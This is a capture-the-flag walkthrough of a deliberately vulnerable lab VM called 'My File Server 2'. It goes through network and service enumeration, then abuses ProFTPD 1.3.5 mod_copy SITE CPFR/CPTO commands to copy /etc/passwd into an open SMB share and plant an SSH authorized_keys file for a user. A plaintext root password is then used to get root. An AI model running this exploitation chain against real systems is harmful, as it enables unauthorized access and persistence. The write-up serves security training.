fileserver2

discover ip address
target machine ip: 192.168.218.147

```
root@kali:~/Desktop# ./network_scanner.py -i 192.168.218.143 -m 24
----------------------------------------------------
IP                      MAC
----------------------------------------------------
192.168.218.1           00:50:56:c0:00:08
192.168.218.2           00:50:56:f0:06:12
192.168.218.147         00:0c:29:21:1e:1f
192.168.218.254         00:50:56:f0:91:d2
```

nmap versions scan all ports
ProFTPD 1.3.5 is exploitable

```
root@kali:~/Desktop# nmap -sV -p- fileserver2
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-31 09:19 +08
Nmap scan report for fileserver2 (192.168.218.147)
Host is up (0.00013s latency).
Not shown: 64523 filtered ports, 1004 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.2
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS))
111/tcp   open  rpcbind     2-4 (RPC #100000)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
2049/tcp  open  nfs_acl     3 (RPC #100227)
2121/tcp  open  ftp         ProFTPD 1.3.5
20048/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 00:0C:29:21:1E:1F (VMware)
Service Info: Host: FILESERVER; OS: Unix
```

```
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
```

nfs enumeration
Allows mounting only for certain ip address

```
root@kali:~/Desktop/fileserver2# showmount -e fileserver2
Export list for fileserver2:
/smbdata 192.168.56.0/24
root@kali:~/Desktop/fileserver2#
```

ftp enumeration
Probable location /var/log
Not able to write to directory

```
ftp> put hello.txt
local: hello.txt remote: hello.txt
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    9 0        0            4096 Feb 19 07:48 log
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    3 0        0              16 Feb 19 07:48 pub
226 Directory send OK.
ftp> put hello.txt
local: hello.txt remote: hello.txt
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp>
```

smb enumeration
Important directories: smbdata
Probable location: /smbdata

```
root@kali:~/Desktop# smbmap -H 192.168.218.147
[+] Finding open SMB ports....
[+] User SMB session establishd on 192.168.218.147...
[+] IP: 192.168.218.147:445     Name: fileserver2
        Disk                                                    Permissions
        ----                                                    -----------
        print$                                                  NO ACCESS
        smbdata                                                 READ, WRITE
        smbuser                                                 NO ACCESS
        IPC$                                                    NO ACCESS
root@kali:~/Desktop#
```

Able to access smbdata without any password

```
root@kali:~/Desktop# smbclient //192.168.218.147/smbdata
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Mar 31 17:36:11 2020
  ..                                  D        0  Tue Feb 18 19:47:54 2020
  anaconda                            D        0  Tue Feb 18 19:48:15 2020
  audit                               D        0  Tue Feb 18 19:48:15 2020
  boot.log                            N     6120  Tue Feb 18 19:48:16 2020
  btmp                                N      384  Tue Feb 18 19:48:16 2020
  cron                                N     4813  Tue Feb 18 19:48:16 2020
  dmesg                               N    31389  Tue Feb 18 19:48:16 2020
  dmesg.old                           N    31389  Tue Feb 18 19:48:16 2020
  glusterfs                           D        0  Tue Feb 18 19:48:16 2020
  lastlog                             N   292292  Tue Feb 18 19:48:16 2020
  maillog                             N     1982  Tue Feb 18 19:48:16 2020
  messages                            N   684379  Tue Feb 18 19:48:17 2020
  ppp                                 D        0  Tue Feb 18 19:48:17 2020
  samba                               D        0  Tue Feb 18 19:48:17 2020
  secure                              N    11937  Tue Feb 18 19:48:17 2020
  spooler                             N        0  Tue Feb 18 19:48:17 2020
  tallylog                            N        0  Tue Feb 18 19:48:17 2020
  tuned                               D        0  Tue Feb 18 19:48:17 2020
  wtmp                                N    25728  Tue Feb 18 19:48:17 2020
  xferlog                             N      100  Tue Feb 18 19:48:17 2020
  yum.log                             N    10915  Tue Feb 18 19:48:17 2020
  sshd_config                         N     3906  Wed Feb 19 15:46:38 2020
  authorized_keys                     A      389  Fri Feb 21 14:50:09 2020

                19976192 blocks of size 1024. 18277004 blocks available
smb: \>
```

gobuster scan, nothing of value

```
root@kali:~/Desktop# gobuster dir --url http://fileserver2 -w /usr/share/wordlists/dirb/big.txt
=====================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====================================================
[+] Url:            http://fileserver2
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
=====================================================
2020/03/31 09:31:07 Starting gobuster
=====================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/cgi-bin/ (Status: 403)
=====================================================
2020/03/31 09:31:09 Finished
=====================================================
```

ssh allow root login
Allow authentication via authorized keys

```
#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# The default is to check both .ssh/authorized_keys and .ssh/authorized_keys2
# but this is overridden so installations will only check .ssh/authorized_keys
AuthorizedKeysFile      .ssh/authorized_keys
```

```
# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no
PasswordAuthentication no

# Change to no to disable s/key passwords
#ChallengeResponseAuthentication yes
ChallengeResponseAuthentication no
```

Able to copy file to /smbdata using the proftpd 1.3.5 exploit

```
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /smbdata/passwd
250 Copy successful
```

```
  passwd                              N     1360  Tue Mar 31 18:13:55 2020

                19976192 blocks of size 1024. 18262860 blocks available
smb: \> get passwd
getting file \passwd of size 1360 as passwd (1328.0 KiloBytes/sec) (average 1328.1 KiloBytes/sec)
smb: \>
```

2 users who are able to login: smbuser and root

```
root@kali:/tmp# cat passwd |grep bash
root:x:0:0:root:/root:/bin/bash
smbuser:x:1000:1000::/home/smbuser:/bin/bash
root@kali:/tmp#
```

Copying the whole html directory and found some interesting files

```
root@kali:~/.ssh# nc fileserver2 2121
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.218.147]
site cpfr /var/www/html
350 File or directory exists, ready for destination name
site cpto /smbdata/html
250 Copy successful
```

```
smb: \html\> get readme.txt
getting file \html\readme.txt of size 25 as readme.txt (24.4 KiloBytes/sec) (average 751.6 KiloBytes/sec)
smb: \html\> get index.html
getting file \html\index.html of size 174 as index.html (169.9 KiloBytes/sec) (average 606.2 KiloBytes/sec)
smb: \html\>
```

```
root@kali:/tmp# cat readme.txt
My Password is
rootroot1
root@kali:/tmp#
```

As we are able to upload files on /smbdata/tuned , it means that we are able to
1. Upload our authorized_keys via smbclient
2. Copy our authorized_keys from /smbdata/tuned/authorized_keys to /home/smbuser/.ssh/authorized_keys

```
smb: \tuned\> lcd /tmp
smb: \tuned\> put hello.txt
putting file hello.txt as \tuned\hello.txt (1.0 kb/s) (average 1.0 kb/s)
smb: \tuned\> dir
  .                                   D        0  Tue Mar 31 19:08:23 2020
  ..                                  D        0  Tue Mar 31 18:45:40 2020
  tuned.log                           N    15722  Tue Feb 18 19:48:17 2020
  hello.txt                           A        1  Tue Mar 31 19:08:23 2020

                19976192 blocks of size 1024. 18262308 blocks available
smb: \tuned\> put authorized_keys
putting file authorized_keys as \tuned\authorized_keys (381.8 kb/s) (average 191.4 kb/s)
smb: \tuned\> dir
  .                                   D        0  Tue Mar 31 19:09:34 2020
  ..                                  D        0  Tue Mar 31 18:45:40 2020
  tuned.log                           N    15722  Tue Feb 18 19:48:17 2020
  hello.txt                           A        1  Tue Mar 31 19:08:23 2020
  authorized_keys                     A      391  Tue Mar 31 19:09:34 2020

                19976192 blocks of size 1024. 18262304 blocks available
smb: \tuned\>
```

```
root@kali:~/.ssh# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:p988TNsiGfLxJL5SiMwkoh5UHJ6XXL5KMGHz9sJ2MbU root@kali
The key's randomart image is:
+---[RSA 2048]----+
|   .=.   . .     |
|  oo* + . .      |
|  .= * + E       |
| .. B o +        |
|.. . X =S..      |
|..  o B oo= o    |
|. .   .  .= X o  |
| .       ..=o* . |
|          .oooo  |
+----[SHA256]-----+
```

```
root@kali:/tmp# nc fileserver2 2121
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.218.147]
site cpfr /smbdata/tuned/authorized_keys
350 File or directory exists, ready for destination name
site cpto /home/smbuser/.ssh/authorized_keys
250 Copy successful
```

Able to get a user shell after copying our authorized keys file

```
root@kali:/tmp# ssh smbuser@fileserver2
   ##########################################################################################
   #                                    Armour Infosec                                      #
   #                           --------- www.armourinfosec.com ------------                 #
   #                                    My File Server - 2                                  #
   #                                Designed By  :- Akanksha Sachin Verma                   #
   #                                Twitter      :- @akankshavermasv                        #
   ##########################################################################################

Last login: Fri Feb 21 12:39:36 2020
[smbuser@fileserver ~]$
```

root flag!

```
[smbuser@fileserver ~]$ su root
Password:
[root@fileserver smbuser]# cd /root
[root@fileserver ~]# ls -lah
total 44K
drwxr--r--.  4 root   root   4.0K Feb 21 12:30 .
dr-xr-xr-x. 18 root   root   4.0K Feb 18 17:17 ..
-rwxr--r--.  1 root   root    131 Feb 21 12:41 .bash_history
-rwxr--r--.  1 root   root     18 Dec 29  2013 .bash_logout
-rwxr--r--.  1 root   root    176 Dec 29  2013 .bash_profile
-rwxr--r--.  1 root   root    176 Dec 29  2013 .bashrc
-rwxr--r--.  1 root   root    100 Dec 29  2013 .cshrc
drwxr--r--.  3 root   root     18 Feb 18 15:04 .pki
-rwxr--r--   1 nobody nobody   48 Feb 20 16:37 proof.txt
drwxr--r--   2 root   root      6 Feb 19 12:58 .ssh
-rwxr--r--.  1 root   root    129 Dec 29  2013 .tcshrc
-rwxr--r--   1 root   root   6.2K Feb 21 12:30 .viminfo
[root@fileserver ~]# cat proof.txt
Best of Luck
af52e0163b03cbf7c6dd146351594a43
[root@fileserver ~]#
```